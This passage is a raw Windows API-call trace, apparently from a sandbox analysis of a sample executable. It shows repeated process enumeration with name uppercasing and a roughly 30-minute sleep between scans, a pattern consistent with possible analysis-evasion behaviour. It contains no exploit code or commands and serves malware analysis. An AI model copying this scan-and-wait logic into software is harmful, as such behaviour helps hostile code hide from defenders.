returned="J_VARIABLES_CHANGES.EXE" [0241.654] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0241.654] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0241.654] lstrlenW (lpString="thats.exe") returned 9 [0241.654] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0241.654] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0241.654] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0241.655] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0241.655] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0241.655] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0241.655] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0241.655] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0241.655] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0241.655] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0241.656] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0241.656] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0241.656] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0241.656] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0241.656] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0241.656] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0241.657] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0241.657] lstrlenW (lpString="actual.exe") returned 10 [0241.657] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0241.657] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0241.657] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0241.657] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0241.657] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0241.657] lstrlenW (lpString="potter larry.exe") returned 16 [0241.657] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0241.657] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0241.657] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0241.658] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0241.658] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0241.658] lstrlenW (lpString="contents what certificate.exe") returned 29 [0241.658] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0241.658] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0241.658] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0241.658] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0241.659] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0241.659] lstrlenW (lpString="cindy.exe") returned 9 [0241.659] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0241.659] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0241.659] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0241.659] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0241.660] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0241.660] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0241.660] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0241.660] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0241.660] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0241.660] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0241.661] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0241.661] lstrlenW (lpString="unusual.exe") returned 11 [0241.661] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0241.661] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0241.661] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0241.661] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0241.662] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0241.662] lstrlenW (lpString="pacific.exe") returned 11 [0241.662] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0241.662] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0241.662] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0241.662] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0241.662] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0241.662] lstrlenW (lpString="phantom.exe") returned 11 [0241.662] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0241.662] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0241.662] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0241.662] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.663] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0241.663] lstrlenW (lpString="audiodg.exe") returned 11 [0241.663] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0241.663] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0241.663] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0241.663] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0241.664] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0241.664] lstrlenW (lpString="SCN0tification.exe") returned 18 [0241.664] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0241.664] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0241.664] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0241.664] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.667] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.667] lstrlenW (lpString="svchost.exe") returned 11 [0241.667] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.667] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.667] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.667] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.667] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0241.667] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0241.667] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0241.667] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0241.667] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0241.667] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0241.668] CloseHandle (hObject=0x2bc) returned 1 [0241.668] Sleep (dwMilliseconds=0x1b7740) [0251.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0251.694] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.697] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0251.697] lstrlenW (lpString="[System Process]") returned 16 [0251.697] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0251.697] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0251.697] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0251.697] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.701] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0251.701] lstrlenW (lpString="System") returned 6 [0251.701] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0251.702] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0251.702] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0251.702] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.704] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0251.704] lstrlenW (lpString="smss.exe") returned 8 [0251.704] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0251.704] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0251.704] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0251.704] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.706] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0251.706] lstrlenW (lpString="csrss.exe") returned 9 [0251.707] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0251.707] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0251.707] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0251.707] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.707] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0251.708] lstrlenW (lpString="wininit.exe") returned 11 [0251.708] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0251.708] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0251.708] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0251.708] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.711] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0251.711] lstrlenW (lpString="csrss.exe") returned 9 [0251.711] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0251.711] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0251.711] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0251.711] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.712] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0251.712] lstrlenW (lpString="winlogon.exe") returned 12 [0251.712] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0251.712] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0251.712] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0251.712] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.713] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0251.713] lstrlenW (lpString="services.exe") returned 12 [0251.713] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0251.713] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0251.713] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0251.713] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.714] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0251.714] lstrlenW (lpString="lsass.exe") returned 9 [0251.714] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0251.714] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0251.714] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0251.714] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.715] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.715] lstrlenW (lpString="svchost.exe") returned 11 [0251.715] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.715] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.715] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.715] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.716] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.716] lstrlenW (lpString="svchost.exe") returned 11 [0251.716] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.716] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.716] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.716] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.717] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0251.717] lstrlenW (lpString="dwm.exe") returned 7 [0251.717] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0251.717] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0251.717] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0251.717] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.718] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.718] lstrlenW (lpString="svchost.exe") returned 11 [0251.718] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.718] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.718] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.718] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.719] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.719] lstrlenW (lpString="svchost.exe") returned 11 [0251.719] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.719] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.719] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.719] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.720] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.720] lstrlenW (lpString="svchost.exe") returned 11 [0251.720] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.720] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.720] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.720] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.721] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.721] lstrlenW (lpString="svchost.exe") returned 11 [0251.721] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.721] PathFindFileNameW 